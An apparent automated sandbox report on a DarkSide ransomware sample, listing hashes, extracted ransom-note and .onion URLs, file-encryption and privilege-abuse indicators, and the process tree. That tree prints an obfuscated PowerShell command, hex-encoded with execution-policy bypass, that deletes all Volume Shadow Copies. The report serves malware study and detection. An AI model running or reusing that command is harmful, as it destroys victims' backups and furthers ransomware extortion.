Analysis
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max time kernel
83s -
max time network
112s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
11-05-2021 05:01
Static task
static1
Behavioral task
behavioral1
Sample
3.exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
3.exe
Resource
win10v20210410
General
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Target
3.exe
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Size
17KB
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MD5
9009593ebf5ea20407ab19bff045dc9d
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SHA1
03c1f7458f3983c03a0f8124a01891242c3cc5df
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SHA256
6931b124d38d52bd7cdef48121fda457d407b63b59bb4e6ead4ce548f4bbb971
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SHA512
fe24a401b35a5b1874bc90739f6fda1969456a13e1339f5b920e6fa659e82df0febc7fc3196ea854601e8773c356884a2516b660daafa944c3643b9d0be74fed
Malware Config
Extracted
C:\\README.44ef4894.TXT
darkside
http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC
http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68
Signatures
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DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
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Modifies extensions of user files 7 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
3.exedescription ioc process File renamed C:\Users\Admin\Pictures\LockCheckpoint.tiff => C:\Users\Admin\Pictures\LockCheckpoint.tiff.44ef4894 3.exe File opened for modification C:\Users\Admin\Pictures\LockCheckpoint.tiff.44ef4894 3.exe File renamed C:\Users\Admin\Pictures\MoveMerge.crw => C:\Users\Admin\Pictures\MoveMerge.crw.44ef4894 3.exe File opened for modification C:\Users\Admin\Pictures\MoveMerge.crw.44ef4894 3.exe File renamed C:\Users\Admin\Pictures\SaveExpand.png => C:\Users\Admin\Pictures\SaveExpand.png.44ef4894 3.exe File opened for modification C:\Users\Admin\Pictures\SaveExpand.png.44ef4894 3.exe File opened for modification C:\Users\Admin\Pictures\LockCheckpoint.tiff 3.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Suspicious behavior: EnumeratesProcesses 7 IoCs
Processes:
3.exepowershell.exepid process 3896 3.exe 3896 3.exe 1072 powershell.exe 1072 powershell.exe 1072 powershell.exe 3896 3.exe 3896 3.exe -
Suspicious use of AdjustPrivilegeToken 25 IoCs
Processes:
3.exepowershell.exevssvc.exedescription pid process Token: SeIncreaseQuotaPrivilege 3896 3.exe Token: SeSecurityPrivilege 3896 3.exe Token: SeTakeOwnershipPrivilege 3896 3.exe Token: SeLoadDriverPrivilege 3896 3.exe Token: SeSystemProfilePrivilege 3896 3.exe Token: SeSystemtimePrivilege 3896 3.exe Token: SeProfSingleProcessPrivilege 3896 3.exe Token: SeIncBasePriorityPrivilege 3896 3.exe Token: SeCreatePagefilePrivilege 3896 3.exe Token: SeBackupPrivilege 3896 3.exe Token: SeRestorePrivilege 3896 3.exe Token: SeShutdownPrivilege 3896 3.exe Token: SeDebugPrivilege 3896 3.exe Token: SeSystemEnvironmentPrivilege 3896 3.exe Token: SeRemoteShutdownPrivilege 3896 3.exe Token: SeUndockPrivilege 3896 3.exe Token: SeManageVolumePrivilege 3896 3.exe Token: 33 3896 3.exe Token: 34 3896 3.exe Token: 35 3896 3.exe Token: 36 3896 3.exe Token: SeDebugPrivilege 1072 powershell.exe Token: SeBackupPrivilege 188 vssvc.exe Token: SeRestorePrivilege 188 vssvc.exe Token: SeAuditPrivilege 188 vssvc.exe -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
3.exedescription pid process target process PID 3896 wrote to memory of 1072 3896 3.exe powershell.exe PID 3896 wrote to memory of 1072 3896 3.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\3.exe"C:\Users\Admin\AppData\Local\Temp\3.exe"1⤵
- Modifies extensions of user files
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logMD5
ea6243fdb2bfcca2211884b0a21a0afc
SHA12eee5232ca6acc33c3e7de03900e890f4adf0f2f
SHA2565bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8
SHA512189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveMD5
26d0b8db5b0668833dd29fbdff92e5e1
SHA17dcef857878821125d06311cfa12f50d11a0bbf3
SHA25633ec6a3943738248383db9fcecf9b324b4161f1516cf43da1732376aada9509d
SHA5120dbfdc8f6094174e70245c0bb42e6727bf68edaf2a60363b05531542d0cb99bec2a243be7ae83532053c102aec1ce50a749a52da65ae471fe3d17561b5e1244f
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memory/1072-114-0x0000000000000000-mapping.dmp
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memory/1072-119-0x0000023FF2D50000-0x0000023FF2D51000-memory.dmpFilesize
4KB
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memory/1072-122-0x0000023FF3020000-0x0000023FF3021000-memory.dmpFilesize
4KB
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memory/1072-129-0x0000023FF2E10000-0x0000023FF2E12000-memory.dmpFilesize
8KB
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memory/1072-131-0x0000023FF2E13000-0x0000023FF2E15000-memory.dmpFilesize
8KB
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memory/1072-133-0x0000023FF2E16000-0x0000023FF2E18000-memory.dmpFilesize
8KB